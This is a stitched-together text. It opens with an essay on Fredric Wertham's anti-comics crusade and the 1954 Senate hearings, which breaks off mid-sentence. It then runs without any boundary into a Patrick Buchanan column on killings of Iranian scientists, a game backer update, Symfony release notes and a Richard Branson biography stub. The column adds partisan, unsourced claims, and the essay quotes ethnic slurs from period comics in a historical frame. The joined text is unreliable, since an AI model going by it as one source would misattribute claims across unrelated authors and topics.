Kefauver was at the televised hearings because of his presidential ambitions; Gaines was simply trying to protect his Entertaining Comics empire, which included groundbreaking horror titles such as Tales from the Crypt and The Vault of Horror, featuring witty, brilliantly illustrated stories with O. Henry–like twists. (Reanimated corpses seeking vengeance on unfaithful lovers was a favorite formula.) “I started horror,” Gaines proudly told the senators, and then calmly testified on the fine art of cropping cover illustrations: A woman’s decapitation would be in bad taste only if the killer were “holding the head a little higher so the neck would show with the blood dripping from it.”
The front-page article reported that Kefauver replied softly, “You’ve got blood dripping from the mouth.”
Gaines, the comics industry, and “Tail-Gunner” Joe McCarthy were all heading for inglorious beatdowns at the hands of the U.S. Senate. Only Gaines would live to laugh at his persecutors.
A few weeks later I received an email from the library announcing the arrival of another Seduction, bought for an off-the-record sum from a used-book dealer. It was in good shape, still wearing its block-lettered dustjacket. Like many a learned tome reposing in private libraries, a number of its leaves had never been cut. The librarian carefully sliced apart the pages the original owner had never gotten to.
In his medical practice, Wertham saw some hard cases—juvenile muggers, murderers, rapists. In Seduction, he begins with a gardening metaphor for the relationship between children and society: “If a plant fails to grow properly because attacked by a pest, only a poor gardener would look for the cause in that plant alone.” He then observes, “To send a child to a reformatory is a serious step. But many children’s-court judges do it with a light heart and a heavy calendar.” Wertham advocated a holistic approach to juvenile delinquency, but then attacked comic books as its major cause. “All comics with their words and expletives in balloons are bad for reading.” “What is the social meaning of these supermen, super women … super-ducks, super-mice, super-magicians, super-safecrackers? How did Nietzsche get into the nursery?” And although the superhero, Western, and romance comics were easily distinguishable from the crime and horror genres that emerged in the late 1940s, Wertham viewed all comics as police blotters. “[Children] know a crime comic when they see one, whatever the disguise”; Wonder Woman is a “crime comic which we have found to be one of the most harmful”; “Western comics are mostly just crime comic books in a Western setting”; “children have received a false concept of ‘love’ … they lump together ‘love, murder, and robbery.’” Some crimes are said to directly imitate scenes from comics. Many are guilty by association—millions of children read comics, ergo, criminal children are likely to have read comics. When listing brutalities, Wertham throws in such asides as, “Incidentally, I have seen children vomit over comic books.” Such anecdotes illuminate a pattern of observation without sourcing that becomes increasingly irritating. “There are quite a number of obscure stores where children congregate, often in back rooms, to read and buy secondhand comic books … in some parts of cities, men hang around these stores which sometimes are foci of childhood prostitution. Evidently comic books prepare the little girls well.” Are these stores located in New York? Chicago? Sheboygan? Wertham leaves us in the dark. He also claimed that powerful forces were arrayed against him because the sheer number of comic books was essential to the health of the pulp-paper manufacturers, forcing him on a “Don Quixotic enterprise … fighting not windmills, but paper mills.”
For someone with such literary pretensions, Wertham delivers some real howlers. Discussing scenes in which characters are violently blinded, he states that there is “no counterpart in any other literature of the world, for children or adults.” The most infamous illustration in Seduction is a panel depicting a young woman dreaming that a “sick hoppy” is about to stab her in the eye with a hypodermic needle. Wertham, the old-world scholar, might be excused for not being hip to the eyeball slash in Luis Buñuel and Salvador Dalí’s surrealist film Un Chien Andalou, but surely he was aware of the tale of the Cyclops, or of Gloucester having his eyes plucked out and stomped on in King Lear. Blinding is an enduring image not only of cruelty but also of despair. And despair is certainly the point of “Murder, Morphine and Me,” an unglamorous comic-book story of a gangster’s moll, whose looks, relationships, and health are ruined by drugs and crime. Wertham also asserts, “Outside the forbidden pages of de Sade, you find draining a girl’s blood only in children’s comics.” Whatever his grasp of de Sade’s oeuvre, Wertham somehow missed out on Bram Stoker’s Dracula and its myriad adaptations across the panoply of popular culture.
Draining blood in the comics. This is not Dracula.
Such miscues call into question both Wertham’s methods and his conclusions, as he becomes ever more shrill. “The comic book format is an invitation to illiteracy.” “Comic-book writing is also extremely poor in style and language.” “Comic books are death on reading.” He bemoans a strip in which a beetle turns into a superhero: “Kafka for the kiddies!” Even romance comics earn his ire. “You have to wade through all the mushiness, the false sentiments, the social hypocrisy, the titillation, the cheapness.” Classics Illustrated comics attract special wrath: “Macbeth is offered to your child ‘Streamlined for Action … a dark tragedy of jealousy, intrigue and violence adapted for easy and enjoyable reading. Packed with action from start to finish…. ’ Shakespeare and the child are corrupted at the same time.” Despite the witty end line, one wonders if the Bard himself, always an entertainer first, wouldn’t have relished that description of “the Scottish play.”
Wertham’s anecdotes do evince a real concern for children’s welfare, but at heart he is more a cultural warrior. A product of some of Europe’s finest universities, he simply cannot stomach this audacious new art form. “By no stretch of critical standards can the text in crime comics qualify as literature, or their drawings as art,” Wertham railed, calling them “an inartistic assembly-line product…. Even if the drawings were good, which they are not, their numbers would kill their artistic effect.” Perhaps he was unaware of art critic Clement Greenberg’s dictum, “All profoundly original art looks ugly at first.” It’s certainly the case that Bob Kane’s Batman drawings feel absurdly stiff compared to the flowing figuration of classic European art, but the young Bronx-born artist was creating something else entirely. The black chevrons of Batman’s cape bisecting a flat yellow moon; the bold, contorted stripes of a flailing gunsel’s suit; the vertiginous perspectives of rooftop battles amid dark urban grids; the contrasting color blocks necessitated by cheap printing—all these add up to something new, a gothic cubism, a New York dynamism.
Although Wertham collected artworks by such luminaries of the European avant-garde as Moholy-Nagy and El Lissitzky, he was blind to the stimulating artistic impact comics would soon have on his adopted culture. In the early 1960s, Pop Art would supplant Abstract Expressionism as the height of American art. This miscegenation of high and low would also influence such novels as Gravity’s Rainbow (1973), wherein Thomas Pynchon gives cameos to Superman, the Sub-Mariner, and Wonder Woman, as well as to the most famous creation of comic-book maestro Jack Cole, whose hypodermic-to-the-eyeball panel so incensed Wertham: “Four-color Plasticman goes oozing out of a keyhole, around a corner and up through piping that leads to a sink in the mad Nazi scientist’s lab.” Pynchon appropriated these pulpy icons to set a bar of outlandish behavior that his flesh-and-blood characters could then surpass.
In Seduction, the comic panels were poorly reproduced in black and white, undercutting Wertham’s argument that kids were drawn to comic books less for reading than to simply ogle the pictures. As the prolific graphic designer Chip Kidd told me during an interview, the eye-stabbing scene in “Murder, Morphine and Me” is “an incredible panel, and … it certainly would’ve made [Wertham’s] case a lot stronger if he had shown it in color. It’s much more terrifying.” In a book on Jack Cole, Kidd uses the original lurid colors and a three-fold enlargement of the scene—the girl’s splayed fingers, the junkie’s hand clawing her face, the spike aimed at her bulging eyeball—to emphasize its riot of nasty diagonals.
From "Murder, Morphine, and Me," by Jack Cole
It is to Dr. Wertham’s credit that he was more concerned about violence in comics than about sex. (Though he did fret about the relationship between Batman and Robin: “It is like a wish dream of two homosexuals living together.”) Additionally, he did not propose outright censorship, and in fact he writes of appearing in court to defend a novel against charges of obscenity. But when he proudly notes that the case was dismissed, he cannot help remarking, “This novel belongs to the realm of literature and art and reaches a relatively small number of readers, while these comic books are mass produced and just trash.” (Typically arrogant, he provides no title or author for the novel, and it is only later that I find a clue.)
Wertham’s solution to comic “trash”? A “law that would forbid the display and sale of crime comic books to children under fifteen,” foreshadowing the movie ratings and music-content labeling of later decades. In this same vein, he points out that the “difference between the surreptitious pornographic literature for adults and children’s comic books is this: In one it is a question of attracting perverts, in the other of making them.” Still, the tone of Seduction leaves no doubt that he would not have mourned the complete eradication of the comics industry, an outcome the Senate hearings would at least partially achieve.
Back to 2004, and the arrival of the library’s copy of the Senate transcripts, bound in a forest-green hardback that is blank save for “UNITED STATES/ JUDICIARY COMMITTEE (SENATE)/HEARINGS/83 CONG., 2 SESS. JUVENILE DELINQUENCY” stamped in gold on the spine. It is bound in a cross of linen ribbon—unlike the earlier disrobing of Seduction, opening it feels more like untying a diploma or a proclamation. This was official, not sexy, a neatly wrapped bundle of democracy soon revealed as a collision of ideals, economics, and agendas buffeted by a miasma of rhetoric. (Nowadays you can save yourself a trip to the library—much of the testimony can be found here, though one still gets a more palpable sense of the era’s machinations in the bound volume.)
On the page, the dialogue between senators chimes in the mind like those overly polite rodents, Chip ’n’ Dale. “Mr. Chairman, before we call the first witness, I just want to compliment the chairman upon a very excellent statement of the purposes of this subcommittee and of this hearing here.” “The Senator from Tennessee is entirely correct and the Chair wishes to congratulate and commend the Senator for his contribution.”
But the fix is in right from chairman Robert C. Hendrickson’s opening statement on “the problem of horror and crime comic books. By comic books, we mean pamphlets illustrating stories depicting crimes or dealing with horror and sadism…. Thus, while there are more than a billion comic books sold in the US each year, our sub-committee’s interest lies in only a fraction of this publishing field.” By some reckonings, the crime and horror genres accounted for half of all comic-book circulation, a pretty big fraction. Such a huge, profitable industry will have its defenders. A fellow psychiatrist testified, “We may criticize Wertham’s conclusions on many grounds, but the major weakness of his position is that it is not supported by research data.” (In 2012, this view was reinforced in an academic paper by Carol L. Tilley, an assistant professor at the University of Illinois’s Graduate School of Library and Information Science. More than two hundred boxes of Wertham’s papers had been donated to the Library of Congress by his widow, but access to them was embargoed until 2010. Soon after, Tilley sifted through thousands of pages of Wertham’s notes and drafts and found that the doctor “often played fast and loose with the data he gathered on comics,” and that he “manipulated, overstated, compromised, and fabricated evidence—especially that evidence he attributed to personal clinical research with young people—for rhetorical gain.”)
In the Senate transcript, Wertham is also rebutted by a senior psychiatrist from New York’s Bellevue Hospital, who believed it was harmless for children to read crime and horror comics because they know “it is not real.” She was concerned about another medium, though. “I have seen children brought to me in terrible panics, and interestingly enough most often [because of] the Walt Disney movies which do depict very disturbing mother figures. The mothers are always killed or sent to insane asylums in Walt Disney’s movies.” (Uncle Walt was later staunchly defended by a bellicose witness opposed to crime and horror comics.) During the hearings, the senators were photographed examining a display of comics with boldface words in the titles—“CRIME,” “COMBAT,” “DANGER,” “CRYPT,” “FEAR”—reminiscent of that 1952 Charlie Brown comic strip. Similar expositions concerning the dangers of crime and horror comics also traveled to England around this same time, where Winston Churchill for one was underwhelmed—perhaps enduring the Blitz a decade earlier had inured him to the terrors of four-color pulp.
Although Seduction has little to say about Cold War tensions (Wertham was in fact a sympathetic witness on behalf of those hoping to improve the treatment of convicted Soviet spy Ethel Rosenberg in the time leading up to her execution), the specter of Communism loomed darkly over the Senate hearings in this age of McCarthyism. A booklet entitled “Brain Washing: American Style” is entered into evidence, and warns, “This evil literature floods each community by the truckload. It is produced in corruption as maggots are produced.” The American Civil Liberties Union, which has defended comics publishers, is accused of close affiliation “with communistic movement in the United States and fully 90 percent of its efforts are on behalf of Communists who have come in conflict with the law.” One comics page so angered the senators that it became the sole illustration (“EXHIBIT NO. 8b”) in 310 pages of transcripts. “Are You A Red Dupe?” was drawn by Jack Davis, a virtuoso who wildly caricatured the human form while accurately conveying the body language of a jackbooted commissar stomping a printing press. The accompanying text reads, “Here in America, we can still publish comic magazines, newspapers, slicks, books, and the Bible. We don’t have to send them to the censor first. Not yet… ” and then goes on to report that one of the most vociferous critics of comic books is the Communist newspaper The Daily Worker, which insists that the violence in comics desensitizes the masses, priming them for capitalist warmongering. After much harrumphing, one senator concluded that the publishers were devoid of ideology and didn’t care “what they dish out to these youngsters as long as it sells.” The committee was fast reaching consensus that crime and horror comics were beyond redemption. (Although Senator Hennings, of the “Show-Me” state of Missouri, mused on whether they were any worse than Edgar Allan Poe, the Brothers Grimm, or Hans Christian Andersen.)
Although William Gaines' satire did not amuse the senators, one Pennsylvanian fan used the page to defend comics in his local paper.
Soon Wertham himself appeared. After a numbing list of credentials and publications, his testimony began, rehashing many of Seduction’s charges. He spoke of the eye injuries “with this literature that I have never found anywhere else,” and talked of a school where “Some time ago some boys attacked another boy and they twisted his arm so viciously that it broke in two places, and, just like in a comic book, the bone comes through the skin…. In this same high school in one year 26 girls became pregnant. The score this year, I think, is eight. Maybe it is nine by now.” Wertham spoke of a “general moral confusion…. I think these girls were seduced mentally long before they were seduced physically … and of course, all those people are very, very great—not all of them, but most of them—are very great comic book readers, have been and are.” Considering the circulation of comics at the time, this would be tantamount to saying today that most young miscreants are great cell-phone users.
Wertham then laid into Superman comic books. “They arose in children phantasies of sadistic joy in seeing other people punished over and over again while you yourself remain immune. We have called it the Superman complex.” He would not be the first or last critic to call the Man of Steel a fascist—he may just have been the most humorless. Of a revenge tale from a horror comic in which a woman cooks and eats her antagonist, Wertham said, “I am a doctor; I can’t permit myself the luxury of being disgusted,” and then added, sarcastically, “‘The End’ is this glorious meal, cannibalism.”
SENATOR KEFAUVER: So it did not have a very happy ending.
WERTHAM: Well, the comic book publishers seem to think it did. They made a lot of money.
After this, Wertham took the high ground, proclaiming, “I detest censorship. I have appeared in very unpopular cases in court defending such novelties as The Gilded Hearse.”
This, perhaps, is the elusive novel belonging to “the realm of literature and art” that Wertham referred to in Seduction, though before this august body he has downgraded it to a novelty (or else a transcriber mistakenly heard an extra syllable while typing out the testimony). The Gilded Hearse, by Charles O. Gorham, was published in 1948, and it was probably the title, cribbed from the opening epigraph, that most attracted Wertham.
The new years walk, restoring
Through a bright cloud of tears, the years, restoring
With a new verse the ancient rhyme. Redeem
The time. Redeem
The unread vision in the higher dream
While jeweled unicorns draw by the gilded hearse.
—T.S. Eliot, Ash Wednesday IV
The book’s major transgressions are references to abortion and “fags,” clinical descriptions of the female orgasm, and moments of adulterous sex (the most explicit being a postcoital “limp, mucilaginous exhaustion” during which two lovers smoke cigarettes—“a spark dropped on Mary’s breast but she didn’t flinch or cry out, accepting the sharp, taunting pain almost with pleasure”). Wertham told the senators that he defends such books because “I believe adults should be allowed to write for adults. I believe that what is necessary for children is supervision.” A reasonable argument, but toward the end of his testimony, Wertham the demagogue rears up again: “I think Hitler was a beginner compared to the comic book industry. They get the children much younger. They teach them race hatred at the age of four before they can read.” He then refers to a comic-book story in which “a derogatory term for Puerto Ricans, which I will not repeat here, but which is a common derogatory term, is repeated twelve times in one story. This greasy so and so, this dirty so and so…. What is the point of the story? The point of the story is that then somebody gets beaten to death.”
The doctor’s testimony ends shortly afterward, and is immediately, like a courtroom drama on late-night TV, followed by William M. Gaines. The publisher at first gives as good as he gets: “The comics magazine is one of the few remaining pleasures that a person may buy for a dime today.” … “[American children] are bright children, but those who want to prohibit comic magazines seem to see dirty, sneaky, perverted monsters who use the comics as a blueprint for action.” … “Jimmy Walker once remarked that he never knew a girl to be ruined by a book. Nobody has ever been ruined by a comic.” … “The truth is that delinquency is the product of the real environment in which the child lives and not of the fiction he reads.”
Then Gaines bores in. “I am happy to say, I have just caught [Dr. Wertham] in a half-truth and I am very indignant about it.” [He is referring to the tale from the Shock SuspenStories comic that Wertham accused of promoting race-hate.] “There do appear in this magazine such materials as ‘Spik’ [sic], ‘Dirty Mexican,’ but Dr. Wertham did not tell you what the plot of the story was. This is one of a series of stories designed to show the evils of race prejudice and mob violence.”
"Headlights" meet the KKK
And so it does. “The Whipping” tells the tale of a racist father who objects to his daughter’s Mexican boyfriend. In the last panel—set outside a dark house on a dark night, a perfect setting for mistaken identity—a Hispanic youth cradles a dead white girl in his arms as a balding white man pushes a white hood back from his face:
LOUIS: We … we we’re married secretly! She was waiting for me to get home … from work … sob …
KLANSMAN: AMY! AMY! Oh Lord! I’ve killed my own daughter!
Although the story is clearly—not to say head-bangingly—blunt in conveying the message Gaines attributes to it, Kefauver condescendingly averred that, while he “can’t find any moral of better race relations in it,” he thinks it should be “filed so that we can study it and see and take into consideration what Mr. Gaines has said.”
THE CHAIRMAN: Mr. Gaines, you have no objection to having this made a part of our permanent files, have you.
GAINES: No, sir.
But then the heavyset Gaines, hopped up on Dexedrine to aid in his chronic dieting, began to fade under the tag-team inquisition of senators and the committee’s chief counsel.
HANNOCH: Do you know anything about this sheet called “Are You a Red dupe?”
GAINES: Yes, sir. I wrote it.
HANNOCH: … You believe the things that you say in this ad that you wrote? … That anybody who is anxious to destroy comics are Communists?
GAINES: I don’t believe it says that.
HANNOCH: The group most anxious to destroy comics are Communists?GAINES: True, but not anybody, just the group most anxious.
The senators betrayed no appreciation of Gaines’s broad satire, and huffed at being lumped in with Communists. In addition to Commies and beheadings, capitalism was also on the agenda. Gaines was grilled about his salary and the corporate structure of E.C. comics, and much of the testimony of the two dozen witnesses who appeared is devoted to grosses, nets, circulation figures, and retail distribution. “Tie-in” sales were hotly debated, one witness vouching that newsdealers have comic-book “trash” “foisted and thrust upon” them by unscrupulous distributors, who in turn testified that, despite the occasional “overzealous routeman,” no retailer had to accept comic books in order to obtain consignments of House and Garden or the Saturday Evening Post. Like congressional investigators delving into the Watergate break-ins two decades later, the senators were definitely following the money.
The next day, as one witness discusses the “warped sense of values” he finds in Gaines’s comics, you can almost hear a weary sigh rise up from the printed page. The politicians are united in their disgust with Gaines and his wares, and the chairman states for the record, “I shall never forget his testimony nor his demeanor.”
After a month-long recess, the hearings concluded with the orotund cadences of power as the chairman gaveled the proceedings to an end. “I think I speak for the entire subcommittee when I say that any action on the part of the publishers of crime and horror comic books, or upon the part of distributors, wholesalers, or dealers with reference to these materials which will tend to eliminate production and sale, shall receive the acclaim of my colleagues and myself. A competent job of self-policing within the industry will achieve much.”
Shortly thereafter, a group of Gaines’s publishing rivals formed the Comics Code Authority, a self-censoring body created to satisfy Congress that comic books would henceforth hew to the straight American path and portray a world cleansed of murder and deviancy. Soon the bulk of comics on the newsstands would portray Disney’s animal kingdom, Archie’s squeaky-clean teens, watered-down adventurers, and neutered superheroes, who now looked faintly ridiculous in their capes and tights. Distributors began returning unopened boxes of Gaines’s entire comics line, not just his horror and crime issues. A few months later, the disgraced publisher was joined by his old companion from the front pages, Senator McCarthy, who was censured by the Senate for his beyond-the-pale (even by U.S. Senate standards) demagoguery.
So how bad were these #!@%$&*! comic books that were forced off the stands, anyway? Certainly the occasional decapitation, eye-bulging strangulation, gangster’s body flailed by machine-gun fire, and other depictions of ultra-violence weren’t appropriate for the tenderest of tots, and perhaps Wertham’s ideas about age-appropriate ratings would have saved the industry a lot of grief. But even the worst of the comics Wertham selected to illustrate Seduction can’t compete with the today’s parade of outré sex and hi-def brutality on the Internet. The bogeyman was this: Comics were the first mass-market medium aimed at the increasing purchasing power of kids and teens. Ironically, the most subversive comic of all squeaked under the radar of both Seduction and the Senate hearings. Since 1952, Bill Gaines had been publishing a satirical comic book dreamed up by one of his editors who needed more money to fund a growing family. Harvey Kurtzman’s MAD became a runaway hit. In a 2002 interview, Maus creator Art Spiegelman told me that MAD had been “an incredibly original endeavor…. The basic message was, ‘The media, which includes us, is lying to you.’ ” Hence, “What’s My Shine?”—a blistering parody of the televised Army-McCarthy hearings, changing the venue from a Senate hearing room to the “Friendly quiz game for the whole friendly family!” The real-life McCarthy’s shouts of “Point of order!” become demands for ham-on-rye for himself and factotum Roy Cohn, wickedly caricatured with puckered lips whispering into McCarthy’s ears.
After the Senate hearings, Gaines, now a national poster boy for depravity, wanted out of the comics game altogether, since distributors would no longer touch his crime and horror wares (and, unbeknownst to him, the F.B.I. was investigating whether his grittily realistic war comics were seditious). He eventually earned millions by converting MAD from a color comic book into a larger-format black-and-white magazine that would avoid the new comics code altogether. MAD’s irreverence toward all aspects of American politics, religion, and culture—and toward itself—gave license to a group of emerging cartoonists who would crank out some of the most transgressive art America has ever seen. In Seduction, Wertham refers to a pirate drawing copied from a comic book by a patient, describing its “phallic symbols—the sword … the big gun.… The actual genitals are extremely accentuated.” What would he make, then, of S. Clay Wilson, the apex/nadir of an underground comix movement that, in the mid-’60s, rose up like a moldering corpse from an old Vault of Horror comic, as if in revenge for what Wertham had done to the medium this new breed of cartoonists had loved as kids. Boldly rendered characters such as Captain Pissgums and strips such as “Head First: A Tale of Human Pathos on the High Seas Below Deck” (wherein one sailor admires, then chops off, then eats the massive penis of another) bristle with graphic extremity. Wilson’s chunkily crosshatched, big-foot cartoon style lends such scenes a morbid hilarity. In a published interview, Wilson pointed out, “Just because you depict evil, doesn’t mean you are evil.… People show up in leathers and shit, looking like my characters, I won’t let them in my house.” Influenced by Jackson Pollock, Wilson’s densely packed narratives of pirate slaughter and brawling bikers battle for coherence amid his horror vacui compositions. He once told a doctoral student, “I think cartoons can be art!… Let history sort it out after it’s all done, when we’re all dead.”
Wertham, Gaines, Senator Kefauver, and Tail-Gunner Joe are all dead now, but their legacies claw at us like those bony hands always erupting from unquiet graves in classic horror comics. There is currently no shortage of culture warriors and political demagogues, and the Comic Book Legal Defense Fund maintains a list of comic books embroiled in censorship battles across America.
For those readers who want to judge Wertham’s taste for themselves, the Web site Comic Book Plus has put up digital copies of some of the books cited in Seduction of the Innocent. On the site you can also find a comic-book series that particularly stuck in Dr. Wertham’s craw: Crime and Punishment, which, despite the title’s pedigree from Dostoyevsky’s 1866 novel, ignored the great Russian author’s penetrating psychology in favor of gangsters who wreak mayhem and thwart cops before achieving gruesome, premature deaths in The Chair or under a hail of lawmen’s bullets. This casual appropriation of literary cachet may explain why Wertham used multiple examples of Crime and Punishment’s lurid tales in Seduction (thereby ensuring those particular issues increased worth on the collectors’ market—Crime and Punishment, like all its brethren, ceased publication by 1955). Issue No. 59 includes the tale of Carlo Vanna, deported from America to an unnamed European country “on the first garbage scow headed straight for the Mediterranean.” Carlo lives only for revenge, training his growing son in all methods of murder and mayhem. The plan backfires when young Joe knifes his old man and heads for the New World. The panel Wertham chose to include features a silhouette of the Statue of Liberty and the text, “Joe Vanna ran far—He ran to America! He recalled the names his father had mentioned! He knew where to go—to this fence—to that gunseller!” Wertham annotated the illo: “What comic-book America stands for.” The immigrant psychiatrist had seen the downside of the American dream—its crime, violence, and decadence—in both reality and fantasy.
Which brings to mind those “streamlined” versions of great literature that also infuriated the good doctor—Classics Illustrated comics. One of the most dramatic characters in Dostoevsky’s Crime and Punishment, Arkady Ivanovich Svidrigailov, travels to America in an outrageous mind trip that has never been equaled in any art form. Vulgar, violent, willful, and rich, Svidrigailov gaily admits to being “depraved” and “sinful,” and says he likes his “cesspools precisely with a bit of filth.” Near the end of Crime and Punishment, Dostoevsky allows Svidrigailov an outlandish valediction after he realizes that his life, devoid of love, has been wasted. Stumbling amid the gray St. Petersburg dawn, the rogue finally stops and stares for a long moment at a grizzled old watchman (christened Achilles for his classical bronze helmet).
“Zo vat do you vant here?” he said, still without moving or changing his position.
“Nothing, brother. Good morning!” Svidrigailov replied.
“It’s de wrong place.”
“I’m off to foreign lands, brother.”
“To foreign lands?”
“To America.”
“America?”
Svidrigailov took out the revolver and cocked it. Achilles raised his eyebrows.
“Zo vat’s dis, a choke? It’s de wrong place!”
“But why is it the wrong place?”
“Because it’s de wrong place!”
“Well, never mind, brother. It’s a good place. If they start asking you, just tell them he went to America.”
He put the revolver to his right temple.
“Oi, dat’s not allowed, it’s de wrong place!” Achilles roused himself, his pupils widening more and more.
Svidrigailov pulled the trigger.
Sadly, you don’t get this scene of America as eternal destination—and damnation—in the Classics Illustrated version of Crime and Punishment. In fact, you don’t get Svidrigailov at all. The editors conclude,
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United States and Israel of murder. But Hillary Clinton emphatically denied any U.S. complicity: "I want to categorically deny any United States involvement in any kind of act of violence inside Iran."
"The United States had absolutely nothing to do with this," added National Security Council spokesman Tommy Vietor, "We strongly condemn all acts of violence, including acts of violence like this."
Victoria Nuland, Clinton's spokeswoman at State, denounced "any assassination or attack on an innocent person, and we express our sympathies to the family."
The assassinated scientist was a supervisor at the Natanz uranium enrichment facility that hosts regular inspections by the International Atomic Energy Agency. If Iran is building a bomb, it is not at Natanz.
U.S. denial of involvement leaves Mossad as the prime suspect. Israel has not denied it, and this comes at a sensitive time in U.S.-Israeli relations.
In Foreign Policy magazine, author and historian Mark Perry, claiming CIA documentation, alleges that Mossad agents in London posed as CIA agents and contacted Jundallah, a terrorist group, to bribe and recruit them to engage in acts of terror inside Iran.[False Flag, January 13, 2011]
Jundallah has conducted attacks in Sistan-Baluchistan province, killing government officials, soldiers, and women and children.
According to Perry, when George W. Bush learned of the Mossad agents posing as CIA while recruiting terrorists, he "went totally ballistic."
Yet Meir Dagan, head of Mossad at the time, denies it, and, ironically, has called any Israeli attack on Iran's nuclear facilities "the stupidest thing I have ever heard."
Who is telling the truth? We do not know for sure.
What we do know is that "Bibi" Netanyahu is desperate to have the United States launch air and missile strikes to stop Teheran from becoming the world's ninth nuclear power. And he is echoed not only by U.S. neocons, but GOP candidates save Ron Paul.
Nor should we be surprised.
To bring America into its war with Germany, Winston Churchill set up William Stephenson, "A Man Called Intrepid," with hundreds of agents in New York to engage in everything from bribery to blackmail of U.S. senators to get the United States to enter the war and pull England's chestnuts out of the fire.
This is what desperate countries do.
And while America First kept us out of the European war until Adolf Hitler invaded Russia, ensuring that Russians, not Americans, died in the millions to defeat him, eventually America was maneuvered into war.
Whoever is assassinating these Iranian scientists, be it homegrown Iranian terrorists, Jundallah at the instigation of Israel, or Mossad, the objective is clear: Enrage the Iranians so they strike out at America, provoking a U.S.-Iranian war.
Is such a war in America's interests? Consider.
While U.S. air and naval power would prevail, Iranian civilians would die, as some of their nuclear facilities are in populated areas. Moreover, we cannot kill the nuclear knowledge Iran has gained. Thus we would only set back their nuclear program by several years. And a bloodied and beaten Iran would then go all-out for a bomb.
The regime, behind which its people would rally, would emerge even more entrenched. U.S. bombing did not cause Germans to remove Hitler or Japanese to depose their emperor. And we lack the ground troops to invade and occupy a country three times the size of Iraq.
All U.S. ships, including carriers in that bathtub the Persian Gulf, would be at risk from shore-based anti-ship missiles and the hundreds of missile boats in Iran's navy. Any sea battle would send oil prices to $200 and $300 a barrel. There goes the eurozone.
Hezbollah in Lebanon, the Shia of the Saudi oil fields and Bahrain, home port to the Fifth Fleet, and Iranian agents in Afghanistan and Iraq could set the region aflame.
As America started up the road to Baghdad in 2003, Gen. David Petraeus is said to have asked, "Tell me how this ends."
Before some agent provocateur pushes us into war with Iran, Congress should debate the wisdom of authorizing President Obama, or anyone else, to take America into her fifth war in a generation in the Middle and Near East.
Patrick J. Buchanan needs no introduction to VDARE.COM readers; his book State of Emergency: The Third World Invasion and Conquest of America, can be ordered from Amazon.com. His new book – Suicide Of A Superpower: Will America Survive to 2025?? was released in October 2011. His previous book, Churchill, Hitler, and "The Unnecessary War": How Britain Lost Its Empire and the West Lost the World, was reviewed here by Paul Craig Roberts.Hi backers. Just wanted to drop in and let you know how things are progressing.
The team is now 5 members strong, and on Monday we'll be adding a 6th member to handle all the audio in the game. Right now we are marching toward our first playable release, which will ship in December. This involves a lot of bug fixing, polishing, and work on three core game features.
Crafting
The core crafting engine is pretty much done, and we're fine tuning things at this point. The "crafting engine" is the infrastructure to defined a crafter, list all his or her craftable recipes (weapons, furniture, etc.), and the AI for the crafter to find the ingredients for each recipe in the world, collect them up, and turn those ingredients into a crafted item.
This has taken a while to get right, but the good news is that the whole system is data driven, which means it's very straightforward for us to add new crafters to the system. And if you're so inclined, so can you!
Construction
We've overhauled the construction system to give you a lot more flexibility in how you construct your buildings. You'll be able to define any kind of floor-plan you like, not just square rooms, and for each part of the building (walls, roof, columns, etc) you can choose from one of many styles. In December we will only support 1 level buildings. We'll add support for multiple stories soon after the first release.
Personality
We're investing a lot of time to really breathe life in to each of your citizens. We're adding enough randomization options so that no two citizens in your town will look alike, and have just started working on what we call 'ambient AIs' or AIs that run when your workers don't have an explicit job to do. When they are idle, town citizens will do their own thing, maybe going and finding something interesting to look at, conversing with each other, or just taking a nap.
That's in for now. I'll have a lot more to share about the December release next month. Thanks for your continued support!July 3, 2017 Fabien Potencier
Symfony 2.7.30 has just been released. Here is a list of the most important changes:
bug #23341 [DoctrineBridge][Security][Validator] do not validate empty values (@xabbuh)
bug #23274 Display a better error design when the toolbar cannot be displayed (@yceruto)
bug #23333 [PropertyAccess] Fix TypeError discard (@dunglas)
bug #23345 [Console] fix description of INF default values (@xabbuh)
bug #23279 Don't call count on non countable object (@pierredup)
bug #23283 [TwigBundle] add back exception check (@xabbuh)
bug #23268 Show exception is checked twice in ExceptionController of twig (@gmponos)
bug #23266 Display a better error message when the toolbar cannot be displayed (@javiereguiluz)
bug #23271 [FrameworkBundle] allow SSI fragments configuration in XML files (@xabbuh)
bug #23254 [Form][TwigBridge] render hidden _method field in form_rest() (@xabbuh)
bug #23250 [Translation] return fallback locales whenever possible (@xabbuh)
bug #22732 [Security] fix switch user _exit without having current token (@dmaicher)
bug #22730 [FrameworkBundle] Sessions: configurable "use_strict_mode" option for NativeSessionStorage (@MacDada)
bug #23195 [FrameworkBundle] [Command] Clean bundle directory, fixes #23177 (@NicolasPion)
bug #23052 [TwigBundle] Add Content-Type header for exception response (@rchoquet)
bug #23199 Reset redirectCount when throwing exception (@hvanoch)
bug #23186 [TwigBundle] Move template.xml loading to a compiler pass (@ogizanagi)
bug #23130 Keep s-maxage when expiry and validation are used in combination (@mpdude)
bug #23129 Fix two edge cases in ResponseCacheStrategy (@mpdude)
feature #22636 [Routing] Expose request in route conditions, if needed and possible (@ro0NL)
bug #22636 [Routing] Expose request in route conditions, if needed and possible (@ro0NL)
bug #23057 [Translation][FrameworkBundle] Fix resource loading order inconsistency reported in #23034 (@mpdude)
bug #23092 [Filesystem] added workaround in Filesystem::rename for PHP bug (@VolCh)
bug #23128 [HttpFoundation] fix for Support for new 7.1 session options (@vincentaubert)
bug #23176 [VarDumper] fixes (@nicolas-grekas)
bug #23086 [FrameworkBundle] Fix perf issue in CacheClearCommand::warmup() (@nicolas-grekas)
bug #23098 Cache ipCheck (2.7) (@gonzalovilaseca)
Want to upgrade to this new release? Fortunately, because Symfony protects backwards-compatibility very closely, this should be quite easy. Read our upgrade documentation to learn more.
Want to be notified whenever a new Symfony release is published? Or when a version is not maintained anymore? Or only when a security issue is fixed? Consider subscribing to the Symfony Roadmap Notifications.Sir Richard Charles Nicholas Branson (born 18 July 1950) is an English business magnate, investor, author and philanthropist.[4] He founded the Virgin Group, which controls more than 400 companies.[5]
Branson expressed his desire to become an entrepreneur at a young age. His first business venture, at the age of 16, was a magazine called Student. In 1970, he set up a mail-order record business. He opened a chain of record stores, Virgin Records—later known as Virgin Megastores—in 1972. Branson's Virgin brand grew rapidly during the 1980s, as he set up Virgin Atlantic airline and expanded the Virgin Records music label. In 2004, he founded spaceflight corporation Virgin Galactic, based at Mojave Air and Space Port, noted for the SpaceShipTwo suborbital spaceplane designed for space tourism.
